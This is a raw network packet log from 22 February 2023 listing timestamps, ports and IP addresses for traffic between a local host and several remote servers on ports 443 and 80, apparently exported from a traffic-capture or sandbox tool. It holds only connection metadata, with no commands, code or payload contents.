Feb 22, 2023 09:42:08.657195091 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.657222986 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.657917023 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.657999992 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.658025026 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.658052921 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.658082008 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.658098936 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.658126116 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.658925056 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.659025908 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.659045935 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.659074068 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.659148932 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.660095930 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.660196066 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.660224915 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.660254002 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.660290956 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.660307884 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.660335064 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.661935091 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.662029028 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.662065029 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.662091970 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.662138939 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.662158012 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.663666964 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.663713932 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.664033890 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.664067030 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.664140940 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.664834976 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.664879084 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.664935112 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.664952040 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.664982080 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.665031910 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.666744947 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.666788101 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.667006969 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.667006969 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.667037964 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.667129993 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.667737007 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.667783976 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.667884111 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.667908907 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.667999983 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.667999983 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.669471979 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.669512987 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.669536114 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.669580936 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.669605017 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.669641018 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.669667959 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.670372963 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.670413017 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.670514107 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.670536041 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.670567989 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.671612024 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.672151089 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.672188044 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.672256947 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.672288895 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.672317982 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.672357082 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.673028946 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.673088074 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.673120975 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.673146963 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.673181057 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.673209906 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.674774885 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.674829960 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.674904108 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.674942017 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.674971104 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.675008059 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.675748110 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.675801992 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.675863028 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.675896883 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.675930977 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.675961018 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.677460909 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.677514076 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.677571058 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.677603006 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.677632093 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.677704096 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.678009987 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.678066015 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.678117037 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.678150892 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.678179979 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.678211927 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.679022074 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.679075003 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.679147005 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.679177999 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.679207087 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.679238081 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.680722952 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.680763960 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.680845022 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.680886030 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.680917025 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.680967093 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.681648016 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.681716919 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.681763887 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.681793928 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.681843996 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.681843996 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.682579041 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.682615042 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.682714939 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.682749987 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.682998896 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.682998896 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.683408976 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.683444023 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.683504105 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.683531046 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.683562994 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.683593035 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.683989048 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.684026957 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.684092045 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.684117079 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.684150934 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.684180021 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.684931040 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.684967041 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.685029030 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.685055017 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.685085058 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.685117960 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.685740948 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.685781002 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.685847044 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.685875893 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.685905933 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.685945034 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.686486959 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686532974 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686589003 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.686610937 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686644077 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.686671972 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.686781883 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686820984 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686877012 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.686908007 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.686938047 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.687076092 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.700838089 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.700876951 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.700933933 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701071978 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701107025 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701117992 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701145887 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701165915 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701253891 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701283932 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701324940 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701344967 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701373100 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701422930 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701453924 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701462030 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701531887 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701558113 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701597929 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701617002 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701700926 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701761961 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701769114 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701792002 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701844931 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701858044 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701888084 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701905966 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701941013 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.701951981 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.701963902 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.702029943 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.702064991 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.906764984 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.960109949 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.139437914 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.139494896 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139579058 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139642000 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139713049 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.139713049 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.139741898 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139801979 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139868021 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139924049 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.139980078 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140059948 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140059948 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140059948 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140059948 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140059948 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140089035 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140141964 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140197992 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140264034 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140325069 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140394926 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140461922 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140490055 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140554905 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140614033 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140667915 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140733957 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:09.140804052 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140804052 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140804052 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140804052 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140804052 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.140841007 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.262779951 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.312530041 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.337721109 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:09.337784052 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:31.173094988 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:31.203942060 CET	80	49699	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:31.204071045 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:31.204432964 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:31.247303009 CET	80	49699	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:31.305767059 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:38.928222895 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:38.957643032 CET	80	49699	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:38.957736015 CET	49699	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:38.981133938 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:39.010962963 CET	80	49700	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:39.011284113 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:39.011568069 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:39.049837112 CET	80	49700	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:39.150190115 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.351238966 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.381028891 CET	80	49700	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:42.381165981 CET	49700	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.505671978 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.535553932 CET	80	49701	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:42.535667896 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.535857916 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:42.572907925 CET	80	49701	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:42.806893110 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:54.737200975 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:54.770885944 CET	80	49701	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:54.770991087 CET	49701	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:54.845330954 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:54.891978025 CET	80	49702	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:54.892105103 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:54.937190056 CET	80	49702	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:54.937304020 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:54.980763912 CET	80	49702	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:54.980845928 CET	80	49702	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:55.057775021 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:55.859128952 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:55.889112949 CET	80	49703	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:55.889256001 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:55.890913010 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:55.929812908 CET	80	49703	208.95.112.1	192.168.2.3
Feb 22, 2023 09:42:55.995363951 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:42:57.545684099 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:57.588836908 CET	80	49702	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:57.588927984 CET	49702	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:57.590785027 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:57.633816004 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:57.634094000 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:57.677234888 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:57.678081036 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:57.721395969 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:57.727603912 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:57.808000088 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:58.151679993 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:42:58.199872017 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:42:58.308043957 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:03.216938972 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:03.262929916 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:03.308532953 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:14.646733999 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:14.646914959 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:15.401859045 CET	49704	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:15.445070982 CET	80	49704	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:15.446228981 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:15.489269972 CET	80	49705	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:15.489412069 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:15.532658100 CET	80	49705	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:15.532727957 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:15.575845957 CET	80	49705	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:15.581665993 CET	80	49705	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:15.660849094 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.591715097 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.634882927 CET	80	49705	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:20.634982109 CET	49705	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.666306973 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.709355116 CET	80	49706	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:20.710903883 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.754549026 CET	80	49706	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:20.754673958 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:20.797909975 CET	80	49706	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:20.800676107 CET	80	49706	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:20.997490883 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.054423094 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.098331928 CET	80	49706	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:25.098467112 CET	49706	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.131958961 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.175110102 CET	80	49707	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:25.175352097 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.218619108 CET	80	49707	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:25.218739986 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:25.263283968 CET	80	49707	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:25.265571117 CET	80	49707	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:25.357209921 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:26.364312887 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:26.394398928 CET	80	49703	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:26.394478083 CET	49703	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:26.909873009 CET	49708	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:26.940110922 CET	80	49708	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:26.941895962 CET	49708	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:26.942320108 CET	49708	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:26.980568886 CET	80	49708	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:27.107347965 CET	49708	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:27.724834919 CET	49709	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:27.754287004 CET	80	49709	208.95.112.1	192.168.2.3
